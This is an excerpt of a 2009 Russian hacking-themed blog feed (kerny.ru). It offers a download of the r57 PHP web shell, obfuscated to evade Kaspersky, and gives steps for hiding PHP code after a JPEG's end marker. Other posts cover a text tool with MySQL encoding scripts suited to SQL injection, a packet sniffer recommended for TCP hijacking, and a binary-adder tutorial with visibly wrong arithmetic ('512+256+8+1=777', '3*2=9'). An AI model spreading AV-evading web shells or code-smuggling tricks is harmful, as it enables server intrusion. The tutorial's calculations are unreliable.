сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/07/redbook.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/8909799029613756633'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/8909799029613756633'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/07/redbook.html' title='RedBook - исходники'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oxXdxKIGwp0/SlB1nHgBFgI/AAAAAAAAAGc/qCjdOidrzDk/s72-c/3.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-5171835862445324980</id><published>2009-07-05T13:13:00.005+04:00</published><updated>2009-07-05T13:21:20.186+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Программы'/><title type='text'>r57 - криптованный</title><content type='html'>&lt;span style="font-weight:bold;"&gt;&lt;span style="color:#ff0000;"&gt;r57 - криптованный.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Закриптовал r57, теперь палится меньше, главное не палится Касперским, а он на большинстве машин стоит.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oxXdxKIGwp0/SlBv9nUjHdI/AAAAAAAAAGM/_htsT_iCEOs/s1600-h/1.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 203px;" src="http://4.bp.blogspot.com/_oxXdxKIGwp0/SlBv9nUjHdI/AAAAAAAAAGM/_htsT_iCEOs/s320/1.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5354903061261393362" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://letitbit.net/download/8738.8c026e389a36b3375d9bc2898/r57.php.html"&gt;Скачать&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-5171835862445324980?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/5171835862445324980/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/07/r57.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/5171835862445324980'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/5171835862445324980'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/07/r57.html' title='r57 - криптованный'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oxXdxKIGwp0/SlBv9nUjHdI/AAAAAAAAAGM/_htsT_iCEOs/s72-c/1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-5757012910667360619</id><published>2009-06-17T21:43:00.002+04:00</published><updated>2009-06-17T21:52:27.254+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Программы'/><title type='text'>RedBook</title><content type='html'>&lt;p&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color:#ff0000;"&gt;RedBook&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;Простая записная книжка&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oxXdxKIGwp0/SjkswfuA10I/AAAAAAAAAGE/IEFuUrsCdLk/s1600-h/444.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 268px; height: 400px;" src="http://1.bp.blogspot.com/_oxXdxKIGwp0/SjkswfuA10I/AAAAAAAAAGE/IEFuUrsCdLk/s400/444.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5348355244139009858" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;Скачать &lt;a href="http://letitbit.net/download/177cbe1a66/RedBook.exe.html"&gt;letitbit&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-5757012910667360619?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/5757012910667360619/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/06/redbook.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/5757012910667360619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/5757012910667360619'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/06/redbook.html' title='RedBook'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_oxXdxKIGwp0/SjkswfuA10I/AAAAAAAAAGE/IEFuUrsCdLk/s72-c/444.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-2472353067025051667</id><published>2009-06-09T13:59:00.011+04:00</published><updated>2009-06-17T21:17:11.137+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Программы'/><title type='text'>Converter of Hacker (version 1.1).</title><content type='html'>&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;Converter of Hacker.&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;(&lt;/span&gt;&lt;span style="font-size:78%;"&gt;version 1.1 full)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Converter of Hacker&lt;/strong&gt; - программа позволяющая редактировать текст, имеет поддержку скриптов, что позволяет пользователю самому расширять функционал программы.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oxXdxKIGwp0/Si42KwJhVxI/AAAAAAAAAF8/PHUs4BWcnro/s1600-h/123.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 274px;" src="http://1.bp.blogspot.com/_oxXdxKIGwp0/Si42KwJhVxI/AAAAAAAAAF8/PHUs4BWcnro/s320/123.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5345269366086784786" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Команды  интерпретатора:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;add [n],[t]   -- добавить после символа [n] символ [t] &lt;br /&gt;fni [n]                -- добавить в конце строки [n]&lt;br /&gt;inf [n]                -- добавить перед строкой [n]&lt;br /&gt;sam [n],[t] -- заменить [n] на [t]&lt;br /&gt;del [n]              -- удалить все символы [n]&lt;br /&gt;dels[n]            -- удалить первый попавшийся символ [n]&lt;br /&gt;phe                       -- распределение push&lt;br /&gt;nab                       -- все символы в строках наоборот&lt;br /&gt;acsii                    -- Переводим символы в acsii-коды&lt;br /&gt;hex                       -- Переводим символы в hex-коды&lt;br /&gt;ats                         -- ascii-коды в символы&lt;br /&gt;hts                         -- hex-коды в символы&lt;br /&gt;hta                         -- hex-коды в ascii&lt;br /&gt;ath                          -- ascii-коды в hex&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Примеры использования команд:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;add d,f      -- добавить после символа d символ f&lt;br /&gt;fni g             -- добавить в конце строки символ g&lt;br /&gt;inf h             -- добавить перед строкой символ h&lt;br /&gt;sam j,l      -- заменить j на l&lt;br /&gt;del 7           -- удалить все символы 7&lt;br /&gt;phe               -- распределение push&lt;br /&gt;nab               -- все символы в строках наоборот&lt;br /&gt;acsii            -- Переводим символы в acsii-коды&lt;br /&gt;hex              -- Переводим символы в hex-коды&lt;br /&gt;ats                -- ascii-коды в символы&lt;br /&gt;hts               -- hex-коды в символы&lt;br /&gt;hts               -- hex-коды в символы&lt;br /&gt;hta               -- hex-коды в ascii&lt;br /&gt;ath               -- ascii-коды в hex&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Все скрипты поставляемые с программой находятся в папке script:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Char.ch &lt;/span&gt;      -  зачаривание для Mysql&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Hex.ch &lt;/span&gt;        -  hex для Myql&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;DeChar.ch&lt;/span&gt; - обратная зачариванию операция&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Вы можете писать скрипты и сами, в следующей версии, если вам ,конечно, понравится программа, будет реализована процедура добавления ваших скриптов в программу, и многое другое.&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;a href="http://kerny-auroras.blogspot.com/2009/03/converter-of-hacker.html"&gt;Version 1.0 DEMO&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://letitbit.net/download/0c9b613d85/Converter_of_Hacker.exe.html"&gt;Version 1.1 Full&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-2472353067025051667?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/2472353067025051667/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/06/converter-of-hacker.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/2472353067025051667'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/2472353067025051667'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/06/converter-of-hacker.html' title='Converter of Hacker (version 1.1).'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_oxXdxKIGwp0/Si42KwJhVxI/AAAAAAAAAF8/PHUs4BWcnro/s72-c/123.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-3939355728686246205</id><published>2009-05-17T21:25:00.004+04:00</published><updated>2009-05-17T21:35:29.673+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Программирование'/><title type='text'>Php код в jpeg картинке</title><content type='html'>&lt;span style="font-weight:bold;"&gt;&lt;span style="color:#ff0000;"&gt;Php код в jpeg картинке, без использования метаданных.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Открываем картинку &lt;strong&gt;WinHex&lt;/strong&gt;' ом переходим в самый конец файла, поледние два байта всегда равны &lt;strong&gt;FF D9&lt;/strong&gt;, это маркер который говорит о том что это конец файла, пишем в текстовом файле свой php код — например  ,  копируем его в буфер обмена и вставляем в &lt;strong&gt;WinHex&lt;/strong&gt;, там появиться окно и вас попросят выбрать формат вставляемых данных, выбирайте &lt;strong&gt;ascii&lt;/strong&gt;. Теперь в самом конце дописываем &lt;strong&gt;FF D9&lt;/strong&gt;, а этоже значение на старом месте затираем нулями. &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oxXdxKIGwp0/ShBJmKTkvTI/AAAAAAAAAFs/nvDj1qiZeI0/s1600-h/1212.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 72px;" src="http://3.bp.blogspot.com/_oxXdxKIGwp0/ShBJmKTkvTI/AAAAAAAAAFs/nvDj1qiZeI0/s320/1212.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5336846478384348466" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Сохраняем файл и смотрим, работает — причем без проблем!&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;&lt;a href="http://letitbit.net/download/1ed9178bea/winhex.zip.html"&gt;Скачать WinHex&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="font-weight:bold;"&gt;&lt;a href="http://letitbit.net/download/9897f10a0e/imagetest.rar.html"&gt;Скачать Пример&lt;/a&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-3939355728686246205?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/3939355728686246205/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/05/php-jpeg.html#comment-form' title='Комментарии: 6'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/3939355728686246205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/3939355728686246205'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/05/php-jpeg.html' title='Php код в jpeg картинке'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_oxXdxKIGwp0/ShBJmKTkvTI/AAAAAAAAAFs/nvDj1qiZeI0/s72-c/1212.JPG' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-367274202773868821</id><published>2009-05-16T13:54:00.005+04:00</published><updated>2009-05-16T14:09:14.632+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Программы'/><title type='text'>Iris Network Traffic Analyzer</title><content type='html'>&lt;p&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color:#ff0000;"&gt;Iris Network Traffic Analyzer&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="color:#000099;"&gt;Снифер моей мечты&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;span style="color:#3333ff;"&gt;&lt;strong&gt;Iris Network Traffic Analyzer&lt;/strong&gt; - На сегодняшний день, самый крутой снифер и мониторинг трафика.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oxXdxKIGwp0/Sg6OO9dmKDI/AAAAAAAAAFk/eBiPvGK1lds/s1600-h/3.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_oxXdxKIGwp0/Sg6OO9dmKDI/AAAAAAAAAFk/eBiPvGK1lds/s320/3.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5336358996148627506" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#3333ff;"&gt;Очень легкие настройки, перехватывает все. Полезно знать, что проходит во время нашего серфинга. Можно мониторить как и весь трафик так и отдельные программы. Анализатор пакетов &lt;/span&gt;&lt;strong&gt;&lt;span style="color:#3333ff;"&gt;eEye Digital Security Iris The Network Traffic Analyze&lt;/span&gt;&lt;/strong&gt;&lt;span style="color:#3333ff;"&gt;r компании &lt;/span&gt;&lt;strong&gt;&lt;span style="color:#3333ff;"&gt;eEye&lt;/span&gt;&lt;/strong&gt;&lt;span style="color:#3333ff;"&gt; - это настоящая революция в области сетевого мониторинга.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#3333ff;"&gt;Помимо стандартных функций сбора, фильтрации и поиска пакетов, а также построения отчетов, программа &lt;/span&gt;&lt;strong&gt;&lt;span style="color:#3333ff;"&gt;Iris The Network Traffic Analyzer&lt;/span&gt;&lt;/strong&gt;&lt;span style="color:#3333ff;"&gt; предлагает уникальные возможности для реконструирования&lt;br /&gt;данных.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;Есть возможность редактировать и отправлять пакеты, полагаю с помощью этого инструмента TCP hijacking, становится более доступной.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;a href="http://letitbit.net/download/d0ca5fc4b5/iris_nta_4.06.rar.html"&gt;Скачать&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-367274202773868821?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/367274202773868821/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/05/iris-network-traffic-analyzer.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/367274202773868821'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/367274202773868821'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/05/iris-network-traffic-analyzer.html' title='Iris Network Traffic Analyzer'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_oxXdxKIGwp0/Sg6OO9dmKDI/AAAAAAAAAFk/eBiPvGK1lds/s72-c/3.JPG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-9008199687191787577</id><published>2009-05-07T22:40:00.003+04:00</published><updated>2009-05-07T22:48:38.049+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Логика'/><title type='text'>От формул к процессору - V</title><content type='html'>&lt;span style="font-weight:bold;"&gt;&lt;span style="color:#ff0000;"&gt;&lt;span style="font-size:130%;"&gt;От формул к процессору - V&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Многоразрядный двоичный сумматор.&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;p&gt;В прошлой статье мы рассмотрели работу двоичного полусумматора, думаю самое время рассмотреть работу полного одноразрядного сумматора!&lt;/p&gt;&lt;p&gt;Но в начале договоримся, т.к мы будем работать со системами счисления, то после чисел в двоичной системе я буду ставить букву "b", а после десятичных "d".&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;Полной одноразрядный сумматор будет считать числа только в пределах одного двоичного разряда:&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;1+1=10&lt;br /&gt;1+0=1&lt;br /&gt;0+1=1&lt;br /&gt;0+0=0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Но тут вы можете возмутиться, и сказать,- "Ведь мы это рассматривали в предыдущей статье!"&lt;br /&gt;Да, действительно рассматривали. Так вот, идея состоит вот в следующем, нужно придумать два одноразрядных сумматора, которые при обьединение определенным образом, давали двуразрядный сумматор, а при объединение трех таких сумматоров, давали трехразрядный.&lt;br /&gt;Надеюсь все понимают что такое разрядность?&lt;br /&gt;&lt;br /&gt;Например число 777d:&lt;br /&gt;&lt;br /&gt;777=7*10^2+7*10^1+7*10^0&lt;br /&gt;3разрядно.&lt;br /&gt;&lt;br /&gt;Вот тоже самое число в двоичной:&lt;br /&gt;1100001001b&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;1100001001b=1*2^9+1*2^8+0*2^7+0*2^6+0*2^7+0*2^6+1* 2^5+0*2^4+0*2^3+1*2^2+1*2^1+1*2^0=&lt;br /&gt;=1*2^9+1*2^8+0+0+0+0+1*2^5+0+1*2^2+1*2^1+1*2^0=512 +256+8+1=777d&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Число 9разрядно, тоесть получаем, Число 777d 3разрядно, а в двоичной системе 9разрядно 3*2=9 (2 - основание системы счисления)&lt;br /&gt;Тоесть чтобы складывать числа в пределах десяти(10d), нам нужен четырехразрядный сумматор (число 10d 2разрядно, значит 2*2=4), что значит в пределах десяти? Значит, что сумма A+B не должна превышать число 10d, или число 1010b.&lt;br /&gt;&lt;br /&gt;В прошлый раз мы рассмотрели такую ситуацию, для сумматора и нам удалось составить соответствующие формулы.&lt;br /&gt;&lt;span style="color:#000099;"&gt;A_+_B___=____P_S&lt;br /&gt;0_+_0___=____0_0&lt;br /&gt;0_+_1___=____0_1&lt;br /&gt;1_+_0___=____0_1&lt;br /&gt;1_+_1___=____1_0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Рассмотрим такой случай:&lt;br /&gt;10b+1b=11b&lt;br /&gt;как мы это посчитали? сложили младший разряд первого числа + второе число (там 1разряд)&lt;br /&gt;&lt;span style="color:#000099;"&gt;10b&lt;br /&gt;01b&lt;br /&gt;11b&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Тут все просто, а теперь давайте возьмем такой случай&lt;br /&gt;11b+1b=100b&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;011b&lt;br /&gt;001b&lt;br /&gt;100b&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Суммируем, так берем младший разряд первого числа(1b), плюс второе число(1b) 1b+1b=10b, ноль пишем один в уме, поднимаемся на разряд, 1b+0b=1&lt;br /&gt;Получаем 1b, но у нас еще 1b в уме, 1+1=10, снова ноль пишем 1b в уме, дальше разряды кончаются поэтому записываем единицу, в итоге получается:100b.&lt;br /&gt;Отсюда напрашивается один простой вывод, в наши старые формулы нужно добавить еще одну переменную, которая будет хранить перенос из младшего разряда в старший (то, что мы храним в уме), причем значение этого переноса может быть либо 0b либо 1b, назовем эту переменную p0, кто непомнит просто P - старший разряд.&lt;br /&gt;Нам нужно найти формулу при которой, будут выполняться следующее условие:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;A__+_B_____p0_____P______S&lt;br /&gt;0__+_0_____1______0______1&lt;br /&gt;0__+_1_____1______1______0&lt;br /&gt;1__+_0_____1______1______0&lt;br /&gt;1__+_1_____1______1______1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Заметьте, здесь перенос всегда активен (всегда равен 1b), например складываем 1b+0b, где - то в середине числа, и перенос из младшего разряда равен 1b(в предыдущем разряде скорее всего было суммирование 1b+1b или тоже был перенос из другого, более младшего разряда)&lt;br /&gt;Получается 1b+0b=1b да плюс перенос из младшего разряда 1b+1b=10b.&lt;br /&gt;&lt;span style="color:#000099;"&gt;&lt;br /&gt;1__+_0_____1______1______0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ну, что ж все вроде работает осталось найти формулу, благо все формулы уже найденны, и мы не будем заниматься нудной работой.&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;P=(A*B)+(A*p0)+(B*p0)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#000099;"&gt;A____B_____p0____A*B_____A*p0___B*p0___(A*B)+(A*p0 )_______P&lt;br /&gt;0____0_____0______0________0______0__________0____ _______0&lt;br /&gt;0____1_____0______0________0______0__________0____ _______0&lt;br /&gt;1____0_____0______0________0______0__________0____ _______0&lt;br /&gt;1____1_____0______1________0______0__________1____ _______1&lt;br /&gt;&lt;br /&gt;___________________При_ p0=1_______________________________&lt;br /&gt;&lt;br /&gt;0____0_____1______0________0______0__________0____ _______0&lt;br /&gt;0____1_____1______0________0______1__________0____ _______1&lt;br /&gt;1____0_____1______0________1______0__________1____ _______1&lt;br /&gt;1____1_____1______1________1______1__________1____ _______1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;S=(A+B+p0)*noP+(A*B*p0)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;A____B_____p0_____P_____A+B_____A+B+p0______noP___ (A+B+p0)*noP_____A*B*p0_____S&lt;br /&gt;0____0_____0______0______0________0____________1__ ________0____________0________0&lt;br /&gt;0____1_____0______0______1________1____________1__ ________1____________0________1&lt;br /&gt;1____0_____0______0______1________1____________1__ ________1____________0________1&lt;br /&gt;1____1_____0______1______1________1____________0__ ________0____________0________0&lt;br /&gt;&lt;br /&gt;___________________________________При_ p0=1______________________________________&lt;br /&gt;&lt;br /&gt;0____0_____1______0______0________1____________1__ ________1____________0________1&lt;br /&gt;0____1_____1______1______1________1____________0__ ________0____________0________0&lt;br /&gt;1____0_____1______1______1________1____________0__ ________0____________0________0&lt;br /&gt;1____1_____1______1______1________1____________0__ ________0____________1________1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Еще тут есть одно условие P, должно быть вычисленно раньше с S, так как noP (отрицание P учавствует во второй формуле), Думаю вам будет интересно взглянуть на логическую схему, логические элементы там изображены немного иначе.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oxXdxKIGwp0/SgMsSHDPpUI/AAAAAAAAAFM/F_defyCW_0o/s1600-h/12.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 219px;" src="http://1.bp.blogspot.com/_oxXdxKIGwp0/SgMsSHDPpUI/AAAAAAAAAFM/F_defyCW_0o/s320/12.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5333155073378723138" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Как вы поняли это схема все равно будет складывать числа в пределах 1разряда двоичного разряда. Нууу... скажете вы, и все это мы читали только ради этого?&lt;br /&gt;&lt;br /&gt;Нет, следующая схема суммирует числа в пределах 10d, 1010b, тоесть четырех разрядный сумматор.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oxXdxKIGwp0/SgMsepFVsBI/AAAAAAAAAFU/1chCILE1t0E/s1600-h/17.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 171px; height: 320px;" src="http://1.bp.blogspot.com/_oxXdxKIGwp0/SgMsepFVsBI/AAAAAAAAAFU/1chCILE1t0E/s320/17.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5333155288672743442" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Итак, получаем следующий вывод, что любой многоразрядный сумматор можно сделать из нескольких одноразрядных, причем чем больше одноразрядных сумматоров обьединено, тем больше разрядность у сумматора.&lt;br /&gt;&lt;br /&gt;Продолжение следует....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;(c)Kerny&lt;/span&gt;&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-9008199687191787577?l=kerny.ru' 